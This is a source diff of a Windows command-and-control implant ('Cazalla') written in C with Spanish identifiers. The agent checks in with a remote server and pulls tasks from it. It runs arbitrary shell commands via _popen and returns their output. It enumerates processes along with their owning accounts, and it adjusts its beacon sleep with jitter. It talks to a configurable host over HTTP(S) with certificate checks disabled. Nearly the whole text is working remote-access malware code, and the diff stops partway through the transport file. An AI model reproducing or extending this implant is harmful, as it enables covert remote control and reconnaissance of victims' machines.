if (getByte(respuestaAnalizador) != CHECKIN) {
liberarAnalizador(respuestaAnalizador);
return FALSE;
}
SIZE_T tamanoUuid = 36;
PCHAR nuevoUuid = getString(respuestaAnalizador, &tamanoUuid);
setUUID(nuevoUuid);
_dbg("[Tareas] Tenemos nuevo UUID ! --> %s\n", nuevoUuid);
liberarAnalizador(respuestaAnalizador);
return TRUE;
}
BOOL rutina() {
PPaquete obtenerTarea = nuevoPaquete(GET_TASKING, TRUE);
addInt32(obtenerTarea, NUMBER_OF_TASKS);
Analizador* respuestaAnalizador = mandarPaquete(obtenerTarea);
// sin respuesta
if (!respuestaAnalizador) {
return FALSE;
}
commandDispatch(respuestaAnalizador);
// Sleep
Sleep(cazallaConfig->tiempoSleep);
return TRUE;
}
@@ -1,26 +1,27 @@
#pragma once
#ifndef COMMANDOS
#define COMMANDOS
#include "analizador.h"
#include "paquete.h"
#include "consola.h"
#include "cerrarCallback.h"
#include "sleep.h"
#define SHELL_CMD 0x54
#define GET_TASKING 0x00
#define POST_RESPONSE 0x01
#define CHECKIN 0xf1
#define NUMBER_OF_TASKS 1
#define EXIT_CMD 0x80
#define SLEEP_CMD 0x38
BOOL parseChecking(PAnalizador respuestaAnalizador);
BOOL rutina();
#pragma once
#ifndef COMMANDOS
#define COMMANDOS
#include "analizador.h"
#include "paquete.h"
#include "consola.h"
#include "cerrarCallback.h"
#include "sleep.h"
#include "procesos.h"
#define SHELL_CMD 0x54
#define GET_TASKING 0x00
#define POST_RESPONSE 0x01
#define CHECKIN 0xf1
#define NUMBER_OF_TASKS 1
#define EXIT_CMD 0x80
#define SLEEP_CMD 0x38
#define PROCESS_CMD 0x15
BOOL parseChecking(PAnalizador respuestaAnalizador);
BOOL rutina();
#endif
@@ -1,38 +1,38 @@
#include "consola.h"
BOOL ejecutarConsola(PAnalizador argumentos) {
SIZE_T tamanoUuid = 36;
PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
UINT32 nbArg = getInt32(argumentos);
SIZE_T tamano = 0;
PCHAR comando = getString(argumentos, &tamano);
comando = (PCHAR)LocalReAlloc(comando, tamano + 1, LMEM_MOVEABLE | LMEM_ZEROINIT);
FILE* fp;
CHAR ruta[1035];
PPaquete respuestaTarea = nuevoPaquete(POST_RESPONSE, TRUE);
addString(respuestaTarea, tareaUuid, FALSE);
//paquete temporal para la salida
PPaquete salida = nuevoPaquete(0, FALSE);
fp = _popen(comando, "rb");
if (!fp) {
_err("[Consola] Error ejecutando el comando");
return FALSE;
}
while (fgets(ruta, sizeof(ruta), fp) != NULL) {
addString(salida, ruta, FALSE);
}
addBytes(respuestaTarea, (PBYTE)salida->buffer, salida->length, TRUE);
_pclose(fp);
Analizador* respuestaAnalizador = mandarPaquete(respuestaTarea);
return TRUE;
#include "consola.h"
BOOL ejecutarConsola(PAnalizador argumentos) {
SIZE_T tamanoUuid = 36;
PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
UINT32 nbArg = getInt32(argumentos);
SIZE_T tamano = 0;
PCHAR comando = getString(argumentos, &tamano);
comando = (PCHAR)LocalReAlloc(comando, tamano + 1, LMEM_MOVEABLE | LMEM_ZEROINIT);
FILE* fp;
CHAR ruta[1035];
PPaquete respuestaTarea = nuevoPaquete(POST_RESPONSE, TRUE);
addString(respuestaTarea, tareaUuid, FALSE);
//paquete temporal para la salida
PPaquete salida = nuevoPaquete(0, FALSE);
fp = _popen(comando, "rb");
if (!fp) {
_err("[Consola] Error ejecutando el comando");
return FALSE;
}
while (fgets(ruta, sizeof(ruta), fp) != NULL) {
addString(salida, ruta, FALSE);
}
addBytes(respuestaTarea, (PBYTE)salida->buffer, salida->length, TRUE);
_pclose(fp);
Analizador* respuestaAnalizador = mandarPaquete(respuestaTarea);
return TRUE;
}
@@ -1,7 +1,7 @@
#pragma once
#include <windows.h>
#include "paquete.h"
#include "analizador.h"
#include "comandos.h"
#pragma once
#include <windows.h>
#include "paquete.h"
#include "analizador.h"
#include "comandos.h"
BOOL ejecutarConsola(PAnalizador argumentos);
@@ -1,42 +1,42 @@
#pragma once
#include <stdio.h>
#if defined(_DEBUG)
#define DBG "DBG"
#define ERR "ERR"
#define WRN "WRN"
#define INF "INF"
#define _log(level, format, ...) printf("[%s] %s:%d - " format "\n", level, __FUNCTION__, __LINE__, ## __VA_ARGS__);
#define _dbg(format, ...) _log(DBG, format, ## __VA_ARGS__)
#define _err(format, ...) _log(ERR, format, ## __VA_ARGS__)
#define _wrn(format, ...) _log(WRN, format, ## __VA_ARGS__)
#define _inf(format, ...) _log(INF, format, ## __VA_ARGS__)
#elif defined(_DEBUG_RELEASE)
#define DBG
#define ERR
#define WRN
#define INF
#define _log(level, format, ...) {HANDLE debugFile = CreateFileA("C:\\Temp\\Ra.log", FILE_APPEND_DATA , 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);\
CHAR out[200] = { 0 };\
sprintf(out, format"\n", ## __VA_ARGS__);\
WriteFile(debugFile, out, strlen(out), NULL, NULL);\
CloseHandle(debugFile);}
#define _dbg(format, ...) _log(DBG, format, ## __VA_ARGS__)
#define _err(format, ...) _log(ERR, format, ## __VA_ARGS__)
#define _wrn(format, ...) _log(WRN, format, ## __VA_ARGS__)
#define _inf(format, ...) _log(INF, format, ## __VA_ARGS__)
#else
#define DBG
#define ERR
#define WRN
#define INF
#define _log(level, format, ...)
#define _dbg(format, ...)
#define _err(format, ...)
#define _wrn(format, ...)
#define _inf(format, ...)
#pragma once
#include <stdio.h>
#if defined(_DEBUG)
#define DBG "DBG"
#define ERR "ERR"
#define WRN "WRN"
#define INF "INF"
#define _log(level, format, ...) printf("[%s] %s:%d - " format "\n", level, __FUNCTION__, __LINE__, ## __VA_ARGS__);
#define _dbg(format, ...) _log(DBG, format, ## __VA_ARGS__)
#define _err(format, ...) _log(ERR, format, ## __VA_ARGS__)
#define _wrn(format, ...) _log(WRN, format, ## __VA_ARGS__)
#define _inf(format, ...) _log(INF, format, ## __VA_ARGS__)
#elif defined(_DEBUG_RELEASE)
#define DBG
#define ERR
#define WRN
#define INF
#define _log(level, format, ...) {HANDLE debugFile = CreateFileA("C:\\Temp\\Ra.log", FILE_APPEND_DATA , 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);\
CHAR out[200] = { 0 };\
sprintf(out, format"\n", ## __VA_ARGS__);\
WriteFile(debugFile, out, strlen(out), NULL, NULL);\
CloseHandle(debugFile);}
#define _dbg(format, ...) _log(DBG, format, ## __VA_ARGS__)
#define _err(format, ...) _log(ERR, format, ## __VA_ARGS__)
#define _wrn(format, ...) _log(WRN, format, ## __VA_ARGS__)
#define _inf(format, ...) _log(INF, format, ## __VA_ARGS__)
#else
#define DBG
#define ERR
#define WRN
#define INF
#define _log(level, format, ...)
#define _dbg(format, ...)
#define _err(format, ...)
#define _wrn(format, ...)
#define _inf(format, ...)
#endif
@@ -0,0 +1,29 @@
#include "identity.h"
BOOL IdentityGetUserInfo(_In_ HANDLE hToken, _Out_ char* buffer, _In_ int tamano) {
TOKEN_USER informacionToken[0x1000];
SID_NAME_USE tipoSid;
DWORD tamanoRespuesta;
if (!GetTokenInformation(hToken, TokenUser, informacionToken, sizeof(informacionToken), &tamanoRespuesta)) {
return FALSE;
}
CHAR nombre[0x200] = { 0 };
CHAR dominio[0x200] = { 0 };
DWORD tamanoNombre = sizeof(nombre);
DWORD tamanoDominio = sizeof(dominio);
if (!LookupAccountSidA(NULL, informacionToken->User.Sid, nombre, &tamanoNombre, dominio, &tamanoDominio, &tipoSid)) {
return FALSE;
}
sprintf_s(buffer, tamano, "%s\\%s", dominio, nombre);
buffer[tamano - 1] = 0;
return TRUE;
}
@@ -0,0 +1,22 @@
#pragma once
#ifndef IDENTITY_H
#define IDENTITY_H
#include <windows.h>
extern HANDLE gTokenIdentidad;
extern BOOL gIdentidadIsLoggin;
extern WCHAR* gDominioIdentidad;
// extern WCHAR* gIdentityUsername;
// extern WCHAR* gIdentityPassword;
#define IDENTITY_MAX_WCHARS_DOMAIN 256
#define IDENTITY_MAX_WCHARS_USERNAME 256
#define IDENTITY_MAX_WCHARS_PASSWORD 512
//VOID IdentityImpersonateToken(void);
//VOID IdentityAgentRevertToken(void);
BOOL IdentityGetUserInfo(HANDLE hToken, char* buffer, int size);
//BOOL IdentityIsAdmin(void);
#endif //IDENTITY_H
@@ -1,12 +1,12 @@
#include "cazalla.h"
//#ifdef _DEBUG
//int main()
//#else
int WINAPI WinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPSTR szArgs, _In_ int nCmdShow)
//#endif
{
cazallaMain();
return 0;
#include "cazalla.h"
//#ifdef _DEBUG
//int main()
//#else
int WINAPI WinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPSTR szArgs, _In_ int nCmdShow)
//#endif
{
cazallaMain();
return 0;
}
@@ -1,122 +1,152 @@
#include "cazalla.h"
#include "paquete.h"
//Creacion de un nuevo paquete. Si init es true, agrega el id del comando y el UUID al paquete.
PPaquete nuevoPaquete(BYTE idComando, BOOL init) {
//v2 change to syscalls
PPaquete paquete = (PPaquete)LocalAlloc(LPTR, sizeof(Paquete));
if (!paquete) {
_err("Error: fallo al asignar memoria para Paquete\n");
return NULL;
}
paquete->buffer = LocalAlloc(LPTR, sizeof(BYTE));
if (!paquete->buffer) {
return NULL;
}
paquete->length = 0;
if (init) {
addString(paquete, cazallaConfig->idAgente, FALSE);
addByte(paquete, idComando);
}
return paquete;
}
VOID liberarPaquete(PPaquete paquete) {
LocalFree(paquete->buffer);
LocalFree(paquete);
}
PAnalizador mandarPaquete(PPaquete paquete) {
PCHAR paqueteParaMandar = b64Codificado((const unsigned char*)paquete->buffer, paquete->length);
SIZE_T tamanoDelPaquete = b64tamanoCodificado(paquete->length);
PAnalizador respuesta = mandarYRecibir((PBYTE)paqueteParaMandar, tamanoDelPaquete);
if (!respuesta) {
paqueteParaMandar = NULL;
return NULL;
}
return respuesta;
}
BOOL addByte(PPaquete paquete, BYTE byte) {
//v2. Syscalls
paquete->buffer = LocalReAlloc(paquete->buffer, paquete->length + sizeof(BYTE), LMEM_MOVEABLE);
if (!paquete->buffer) {
return FALSE;
}
((PBYTE)paquete->buffer + paquete->length)[0] = byte;
paquete->length += 1;
return TRUE;
}
BOOL addInt32(PPaquete paquete, UINT32 valor) {
paquete->buffer = LocalReAlloc(paquete->buffer, paquete->length + sizeof(UINT32), LMEM_MOVEABLE | LMEM_ZEROINIT);
if (!paquete->buffer) {
return FALSE;
}
addInt32ToBuffer((PUCHAR)(paquete->buffer) + paquete->length, valor);
paquete->length += sizeof(UINT32);
return TRUE;
}
BOOL addInt64(PPaquete paquete, UINT64 valor) {
paquete->buffer = LocalReAlloc(paquete->buffer, paquete->length + sizeof(UINT64), LMEM_MOVEABLE | LMEM_ZEROINIT);
if (!paquete->buffer) {
return FALSE;
}
addInt64ToBuffer((PUCHAR)(paquete->buffer), valor);
paquete->length += sizeof(UINT64);
return TRUE;
}
BOOL addBytes(PPaquete paquete, PBYTE datos, SIZE_T tamano, BOOL tamanoCopia) {
if (tamanoCopia && tamano) {
if (!addInt32(paquete, tamano)) {
return FALSE;
}
}
if (tamano) {
paquete->buffer = LocalReAlloc(paquete->buffer, paquete->length + tamano, LMEM_MOVEABLE | LMEM_ZEROINIT);
if (!paquete->buffer) {
return FALSE;
}
if (tamanoCopia) {
addInt32ToBuffer((PUCHAR)paquete->buffer + (paquete->length - sizeof(UINT32)), tamano);
}
//v2.syscalls
memcpy((PBYTE)paquete->buffer + paquete->length, datos, tamano);
paquete->length += tamano;
}
return TRUE;
}
BOOL addString(PPaquete paquete, PCHAR datos, BOOL tamanoCopia) {
if (!addBytes(paquete, (PBYTE)datos, strlen(datos), tamanoCopia)) {
return FALSE;
}
return TRUE;
}
BOOL addWString(PPaquete paquete, PWCHAR datos, BOOL tamanoCopia) {
if (!addBytes(paquete, (PBYTE)datos, lstrlenW(datos) * 2, tamanoCopia)) {
return FALSE;
}
return TRUE;
}
#include "cazalla.h"
#include "paquete.h"
//Creacion de un nuevo paquete. Si init es true, agrega el id del comando y el UUID al paquete.
PPaquete nuevoPaquete(BYTE idComando, BOOL init) {
//v2 change to syscalls
PPaquete paquete = (PPaquete)LocalAlloc(LPTR, sizeof(Paquete));
if (!paquete) {
_err("Error: fallo al asignar memoria para Paquete\n");
return NULL;
}
paquete->buffer = LocalAlloc(LPTR, sizeof(BYTE));
if (!paquete->buffer) {
return NULL;
}
paquete->length = 0;
if (init) {
addString(paquete, cazallaConfig->idAgente, FALSE);
addByte(paquete, idComando);
}
return paquete;
}
VOID liberarPaquete(PPaquete paquete) {
LocalFree(paquete->buffer);
LocalFree(paquete);
}
PAnalizador mandarPaquete(PPaquete paquete) {
PCHAR paqueteParaMandar = b64Codificado((const unsigned char*)paquete->buffer, paquete->length);
SIZE_T tamanoDelPaquete = b64tamanoCodificado(paquete->length);
PAnalizador respuesta = mandarYRecibir((PBYTE)paqueteParaMandar, tamanoDelPaquete);
if (!respuesta) {
paqueteParaMandar = NULL;
return NULL;
}
return respuesta;
}
BOOL addByte(PPaquete paquete, BYTE byte) {
//v2. Syscalls
paquete->buffer = LocalReAlloc(paquete->buffer, paquete->length + sizeof(BYTE), LMEM_MOVEABLE);
if (!paquete->buffer) {
return FALSE;
}
((PBYTE)paquete->buffer + paquete->length)[0] = byte;
paquete->length += 1;
return TRUE;
}
BOOL addInt32(PPaquete paquete, UINT32 valor) {
paquete->buffer = LocalReAlloc(paquete->buffer, paquete->length + sizeof(UINT32), LMEM_MOVEABLE | LMEM_ZEROINIT);
if (!paquete->buffer) {
return FALSE;
}
addInt32ToBuffer((PUCHAR)(paquete->buffer) + paquete->length, valor);
paquete->length += sizeof(UINT32);
return TRUE;
}
BOOL addInt64(PPaquete paquete, UINT64 valor) {
paquete->buffer = LocalReAlloc(paquete->buffer, paquete->length + sizeof(UINT64), LMEM_MOVEABLE | LMEM_ZEROINIT);
if (!paquete->buffer) {
return FALSE;
}
addInt64ToBuffer((PUCHAR)(paquete->buffer), valor);
paquete->length += sizeof(UINT64);
return TRUE;
}
BOOL addBytes(PPaquete paquete, PBYTE datos, SIZE_T tamano, BOOL tamanoCopia) {
if (tamanoCopia && tamano) {
if (!addInt32(paquete, tamano)) {
return FALSE;
}
}
if (tamano) {
paquete->buffer = LocalReAlloc(paquete->buffer, paquete->length + tamano, LMEM_MOVEABLE | LMEM_ZEROINIT);
if (!paquete->buffer) {
return FALSE;
}
if (tamanoCopia) {
addInt32ToBuffer((PUCHAR)paquete->buffer + (paquete->length - sizeof(UINT32)), tamano);
}
//v2.syscalls
memcpy((PBYTE)paquete->buffer + paquete->length, datos, tamano);
paquete->length += tamano;
}
return TRUE;
}
BOOL addString(PPaquete paquete, PCHAR datos, BOOL tamanoCopia) {
if (!addBytes(paquete, (PBYTE)datos, strlen(datos), tamanoCopia)) {
return FALSE;
}
return TRUE;
}
BOOL addWString(PPaquete paquete, PWCHAR datos, BOOL tamanoCopia) {
if (!addBytes(paquete, (PBYTE)datos, lstrlenW(datos) * 2, tamanoCopia)) {
return FALSE;
}
return TRUE;
}
BOOL PackageAddFormatPrintf(PPaquete package, BOOL copySize, char* fmt, ...)
{
va_list args;
va_start(args, fmt);
// Determine how much space is needed for the formatted string
int requiredLength = vsnprintf(NULL, 0, fmt, args) + 1; // +1 for null terminator
va_end(args);
// Allocate a temporary buffer for the formatted string
char* tempBuffer = (char*)malloc(requiredLength);
if (tempBuffer == NULL)
{
return FALSE; // Memory allocation failed
}
va_start(args, fmt);
vsnprintf(tempBuffer, requiredLength, fmt, args);
va_end(args);
// Use addString to add the formatted string to the package
if (!addString(package, tempBuffer, copySize))
return FALSE;
// Free the temporary buffer
free(tempBuffer);
return TRUE;
}
@@ -1,31 +1,31 @@
#pragma once
#ifndef PAQUETE_H
#define PAQUETE_H
#include "utils.h"
#include "transporte.h"
#include "analizador.h"
#define TASK_COMPLETE 0x95
#define TASK_FAILED 0x99
typedef struct {
PVOID buffer;
SIZE_T length;
}Paquete, * PPaquete;
PPaquete nuevoPaquete(BYTE idComando, BOOL init);
VOID liberarPaquete(PPaquete paquete);
PAnalizador mandarPaquete(PPaquete paquete);
BOOL addByte(PPaquete paquete, BYTE byte);
BOOL addInt32(PPaquete paquete, UINT32 valor);
BOOL addInt64(PPaquete paquete, UINT64 valor);
BOOL addBytes(PPaquete paquete, PBYTE datos, SIZE_T tamano, BOOL tamanoCopia);
BOOL addString(PPaquete paquete, PCHAR datos, BOOL tamanoCopia);
BOOL addWString(PPaquete paquete, PWCHAR datos, BOOL tamanoCopia);
#pragma once
#ifndef PAQUETE_H
#define PAQUETE_H
#include "utils.h"
#include "transporte.h"
#include "analizador.h"
#define TASK_COMPLETE 0x95
#define TASK_FAILED 0x99
typedef struct {
PVOID buffer;
SIZE_T length;
}Paquete, * PPaquete;
PPaquete nuevoPaquete(BYTE idComando, BOOL init);
VOID liberarPaquete(PPaquete paquete);
PAnalizador mandarPaquete(PPaquete paquete);
BOOL addByte(PPaquete paquete, BYTE byte);
BOOL addInt32(PPaquete paquete, UINT32 valor);
BOOL addInt64(PPaquete paquete, UINT64 valor);
BOOL addBytes(PPaquete paquete, PBYTE datos, SIZE_T tamano, BOOL tamanoCopia);
BOOL addString(PPaquete paquete, PCHAR datos, BOOL tamanoCopia);
BOOL addWString(PPaquete paquete, PWCHAR datos, BOOL tamanoCopia);
#endif
@@ -0,0 +1,111 @@
#undef UNICODE
#include "procesos.h"
#include "paquete.h"
#include "analizador.h"
#include "identity.h"
#include "spawn.h"
#include <tlhelp32.h>
BOOL obtenerNombreDelToken(HANDLE hProcess, char* nombreCuenta, int tamano) {
HANDLE hToken;
BOOL result = OpenProcessToken(hProcess, TOKEN_QUERY, &hToken);
if (!result) {
return FALSE;
}
result = IdentityGetUserInfo(hToken, nombreCuenta, tamano);
if (!result) {
return FALSE;
}
CloseHandle(hToken);
return result;
}
VOID listarProcesos(PAnalizador argumentos) {
SIZE_T tamanoUuid = 36;
UINT32 nbArg = getInt32(argumentos);
PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
char nombreCuenta[2048] = { 0 };
PPaquete salida = nuevoPaquete(0, FALSE); // Paquete temporal
char* arch;
arch = IsWow64ProcessEx(GetCurrentProcess()) ? "x86" : "x64";
HANDLE toolhelp = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (toolhelp == INVALID_HANDLE_VALUE) {
goto cleanup;
}
PROCESSENTRY32 pe = { sizeof(PROCESSENTRY32) };
if (Process32First(toolhelp, &pe)) {
do {
HANDLE hProcess = OpenProcess(SelfIsWindowsVistaOrLater() ? PROCESS_QUERY_LIMITED_INFORMATION : PROCESS_QUERY_INFORMATION, FALSE, pe.th32ProcessID);
DWORD sid = -1;
if (hProcess) {
if (!obtenerNombreDelToken(hProcess, nombreCuenta, sizeof(nombreCuenta))) {
nombreCuenta[0] = '\0';
}
if (!ProcessIdToSessionId(pe.th32ProcessID, &sid)) {
sid = -1;
}
BOOL isWow64 = IsWow64ProcessEx(hProcess);
PackageAddFormatPrintf(salida,
FALSE,
"%s\t%d\t%d\t%s\t%s\t%d\n",
pe.szExeFile,
pe.th32ParentProcessID,
pe.th32ProcessID,
isWow64 ? "x86" : arch,
nombreCuenta,
sid);
}
else {
PackageAddFormatPrintf(salida,
FALSE,
"%s\t%d\t%d\n",
pe.szExeFile,
pe.th32ParentProcessID,
pe.th32ProcessID);
}
CloseHandle(hProcess);
} while (Process32Next(toolhelp, &pe));
}
else {
DWORD error = GetLastError();
PPaquete errorPaquete = nuevoPaquete(POST_RESPONSE, TRUE);
addString(errorPaquete, tareaUuid, FALSE);
addInt32(errorPaquete, error);
mandarPaquete(errorPaquete);
liberarPaquete(errorPaquete);
goto cleanup;
}
PPaquete respuestaTarea = nuevoPaquete(POST_RESPONSE, TRUE);
addString(respuestaTarea, tareaUuid, FALSE);
addBytes(respuestaTarea, (PBYTE)salida->buffer, salida->length, TRUE);
Analizador* respuestaAnalizador = mandarPaquete(respuestaTarea);
if (!respuestaAnalizador) {
_err("[-] Error al mandar paquete\n");
}
liberarPaquete(respuestaTarea);
cleanup:
if (toolhelp) {
CloseHandle(toolhelp);
}
liberarPaquete(salida);
}
@@ -0,0 +1,10 @@
#pragma once
#ifndef PROCESOS_H
#define PROCESOS_H
#include <windows.h>
#include "analizador.h"
VOID listarProcesos(PAnalizador argumentos);
#endif
@@ -1,45 +1,45 @@
#include "sleep.h"
#include "cazalla.h"
BOOL sleep(PAnalizador argumentos) {
SIZE_T tamanoUuid = 36;
PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
UINT32 nbArg = getInt32(argumentos);
UINT32 tiempoSleep = getInt32(argumentos);
UINT32 maxVarianza = getInt32(argumentos);
if (maxVarianza < 1) {
maxVarianza = 1;
}
const int minVarianza = 1;
const int rangoVarianza = maxVarianza / 2;
int aleatorio = aleatorioInt32(0, rangoVarianza);
tiempoSleep += aleatorio;
if (tiempoSleep < minVarianza) {
tiempoSleep = minVarianza;
}
if (cazallaConfig == NULL) {
_err("Error: cazallaConfig no ha sido inicializado.\n");
return FALSE;
}
printf("Tiempo Sleep antes: %d\n", cazallaConfig->tiempoSleep);
tiempoSleep = tiempoSleep * 1000;
cazallaConfig->tiempoSleep = tiempoSleep;
PPaquete respuestaTarea = nuevoPaquete(POST_RESPONSE, TRUE);
addString(respuestaTarea, tareaUuid, FALSE);
addInt32(respuestaTarea, tiempoSleep);
mandarPaquete(respuestaTarea);
return TRUE;
#include "sleep.h"
#include "cazalla.h"
BOOL sleep(PAnalizador argumentos) {
SIZE_T tamanoUuid = 36;
PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
UINT32 nbArg = getInt32(argumentos);
UINT32 tiempoSleep = getInt32(argumentos);
UINT32 maxVarianza = getInt32(argumentos);
if (maxVarianza < 1) {
maxVarianza = 1;
}
const int minVarianza = 1;
const int rangoVarianza = maxVarianza / 2;
int Rand = aleatorioInt32(0, rangoVarianza);
tiempoSleep += Rand;
if (tiempoSleep < minVarianza) {
tiempoSleep = minVarianza;
}
if (cazallaConfig == NULL) {
_err("Error: cazallaConfig no ha sido inicializado.\n");
return FALSE;
}
_dbg("Tiempo Sleep antes: %d\n", cazallaConfig->tiempoSleep);
tiempoSleep = tiempoSleep * 1000;
cazallaConfig->tiempoSleep = tiempoSleep;
PPaquete respuestaTarea = nuevoPaquete(POST_RESPONSE, TRUE);
addString(respuestaTarea, tareaUuid, FALSE);
addInt32(respuestaTarea, tiempoSleep);
mandarPaquete(respuestaTarea);
return TRUE;
}
@@ -1,13 +1,13 @@
#pragma once
#ifndef SLEEP_H
#define SLEEP_H
#include <windows.h>
#include "paquete.h"
#include "analizador.h"
#include "comandos.h"
#include "utils.h"
BOOL sleep(PAnalizador argumentos);
#pragma once
#ifndef SLEEP_H
#define SLEEP_H
#include <windows.h>
#include "paquete.h"
#include "analizador.h"
#include "comandos.h"
#include "utils.h"
BOOL sleep(PAnalizador argumentos);
#endif
@@ -0,0 +1,40 @@
#include "spawn.h"
#include "analizador.h"
#include <versionhelpers.h>
#pragma warning(disable: 4996)
#define ProcessWow64Information 26
int osMajorVersion;
BOOL SelfIsWindowsVistaOrLater() {
return IsWindowsVistaOrGreater();
}
typedef WINBASEAPI BOOL(WINAPI* FN_KERNEL32_ISWOW64PROCESS)(_In_ HANDLE hProcess, _Out_ PBOOL Wow64Process);
BOOL IsWow64ProcessEx(HANDLE hProcess) {
HMODULE hModule = GetModuleHandleA("kernel32");
FN_KERNEL32_ISWOW64PROCESS _IsWow64Process = (FN_KERNEL32_ISWOW64PROCESS)GetProcAddress(hModule, "IsWow64Process");
if (_IsWow64Process == NULL)
{
_err("kernel32$IsWow64Process: IsWow64Process is NULL");
return FALSE;
}
BOOL bStatus = FALSE;
BOOL Wow64Process = FALSE;
// bStatus = _IsWow64Process(hProcess, &Wow64Process);
bStatus = _IsWow64Process(hProcess, &Wow64Process);
if (!bStatus)
{
_err("_IsWow64Process failed with status code : %d", GetLastError());
return FALSE;
}
return Wow64Process; // TODO bug ! - returns 0 (x86) for current process?
}
@@ -0,0 +1,23 @@
#pragma once
#ifndef NATIVE_H
#define NATIVE_H
#include <windows.h>
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
typedef NTSTATUS(WINAPI* NtQueryInformationProcess_t)(
HANDLE ProcessHandle,
ULONG ProcessInformationClass,
PVOID ProcessInformation,
ULONG ProcessInformationLength,
PULONG ReturnLength
);
BOOL IsWow64ProcessEx(HANDLE hProcess);
extern int osMajorVersion;
#endif
@@ -1,123 +1,123 @@
#include "transporte.h"
int obtenerCodigoDeEstado(HANDLE hPeticion) {
DWORD codigoDeEstado = 0;
DWORD tamanoEstado = sizeof(DWORD);
if (!WinHttpQueryHeaders(hPeticion, WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER, WINHTTP_HEADER_NAME_BY_INDEX, &codigoDeEstado, &tamanoEstado, WINHTTP_NO_HEADER_INDEX))
return 0;
return codigoDeEstado;
}
Analizador* realizarPeticionHTTP(PBYTE bufferIn, UINT32 bufferLen) {
HANDLE hSesion = NULL, hConexion = NULL, hPeticion = NULL;
DWORD dwTamano = 0, dwDescargado = 0, codigoDeEstado = 0;
PVOID respBuffer = NULL;
DWORD respSize = 0;
UCHAR buffer[1024] = { 0 };
DWORD httpFlags = WINHTTP_FLAG_BYPASS_PROXY_CACHE;
// Configuración de Proxy
WINHTTP_PROXY_INFO infoProxy = { 0 };
WINHTTP_CURRENT_USER_IE_PROXY_CONFIG configuracionProxy = { 0 };
WINHTTP_AUTOPROXY_OPTIONS opcionesProxyAutomaticas = { 0 };
DWORD tipoDeAcceso = WINHTTP_ACCESS_TYPE_NO_PROXY;
LPCWSTR httpProxy = WINHTTP_NO_PROXY_NAME;
LPCWSTR noProxyBypass = WINHTTP_NO_PROXY_BYPASS;
if (cazallaConfig->proxyHabilitado && cazallaConfig->urlProxy) {
tipoDeAcceso = WINHTTP_ACCESS_TYPE_NAMED_PROXY;
httpProxy = cazallaConfig->urlProxy;
}
if (cazallaConfig->SSL) {
httpFlags |= WINHTTP_FLAG_SECURE;
}
// Crear sesión HTTP
hSesion = WinHttpOpen(cazallaConfig->userAgent, tipoDeAcceso, httpProxy, noProxyBypass, 0);
if (!hSesion) return NULL;
// Conectar al servidor
hConexion = WinHttpConnect(hSesion, cazallaConfig->hostName, cazallaConfig->puertoHttp, 0);
if (!hConexion) return NULL;
// Crear petición HTTP/HTTPS
hPeticion = WinHttpOpenRequest(hConexion, cazallaConfig->metodoHttp, cazallaConfig->endPoint, NULL, NULL, NULL, httpFlags);
if (!hPeticion) return NULL;
// Configurar opciones de seguridad si es HTTPS
if (cazallaConfig->SSL) {
DWORD opcionesSeguridad = SECURITY_FLAG_IGNORE_UNKNOWN_CA |
SECURITY_FLAG_IGNORE_CERT_DATE_INVALID |
SECURITY_FLAG_IGNORE_CERT_CN_INVALID |
SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE;
WinHttpSetOption(hPeticion, WINHTTP_OPTION_SECURITY_FLAGS, &opcionesSeguridad, sizeof(DWORD));
}
// Configurar proxy si está habilitado
if (WinHttpGetIEProxyConfigForCurrentUser(&configuracionProxy)) {
if (configuracionProxy.lpszProxy != NULL && lstrlenW(configuracionProxy.lpszProxy) != 0) {
infoProxy.dwAccessType = WINHTTP_ACCESS_TYPE_NAMED_PROXY;
infoProxy.lpszProxy = configuracionProxy.lpszProxy;
infoProxy.lpszProxyBypass = configuracionProxy.lpszProxyBypass;
WinHttpSetOption(hPeticion, WINHTTP_OPTION_PROXY, &infoProxy, sizeof(infoProxy));
}
}
// Enviar la petición
if (!WinHttpSendRequest(hPeticion, WINHTTP_NO_ADDITIONAL_HEADERS, 0, bufferIn, bufferLen, bufferLen, 0)) {
_err("WinHttpSendRequest falló con error %u\n", GetLastError());
return NULL;
}
// Recibir respuesta
if (!WinHttpReceiveResponse(hPeticion, NULL)) {
_err("Error al recibir respuesta HTTP\n");
return NULL;
}
codigoDeEstado = obtenerCodigoDeEstado(hPeticion);
if (codigoDeEstado != 200) {
_err("[HTTP] Código de estado no OK --> %d\n", codigoDeEstado);
return NULL;
}
// Leer respuesta
do {
dwTamano = 1024;
if (!WinHttpQueryDataAvailable(hPeticion, &dwTamano)) {
printf("[HTTP] Error %u en WinHttpQueryDataAvailable.\n", GetLastError());
return NULL;
}
if (!WinHttpReadData(hPeticion, buffer, 1024, &dwDescargado)) {
printf("[HTTP] Error %u en WinHttpReadData.\n", GetLastError());
return NULL;
}
respSize += dwDescargado;
if (!respBuffer) {
respBuffer = LocalAlloc(LPTR, respSize);
}
else {
respBuffer = LocalReAlloc(respBuffer, respSize, LMEM_MOVEABLE | LMEM_ZEROINIT);
}
memcpy((PBYTE)respBuffer + (respSize - dwDescargado), buffer, dwDescargado);
memset(buffer, 0, 1024);
} while (dwTamano > 0);
respBuffer = LocalReAlloc(respBuffer, respSize + 1, LMEM_MOVEABLE | LMEM_ZEROINIT);
return nuevoAnalizador((PBYTE)respBuffer, respSize);
}
Analizador* mandarYRecibir(PBYTE datos, SIZE_T tamano) {
#ifdef HTTP_TRANSPORT
return realizarPeticionHTTP(datos, tamano);
#endif
return NULL;
#include "transporte.h"
int obtenerCodigoDeEstado(HANDLE hPeticion) {
DWORD codigoDeEstado = 0;
DWORD tamanoEstado = sizeof(DWORD);
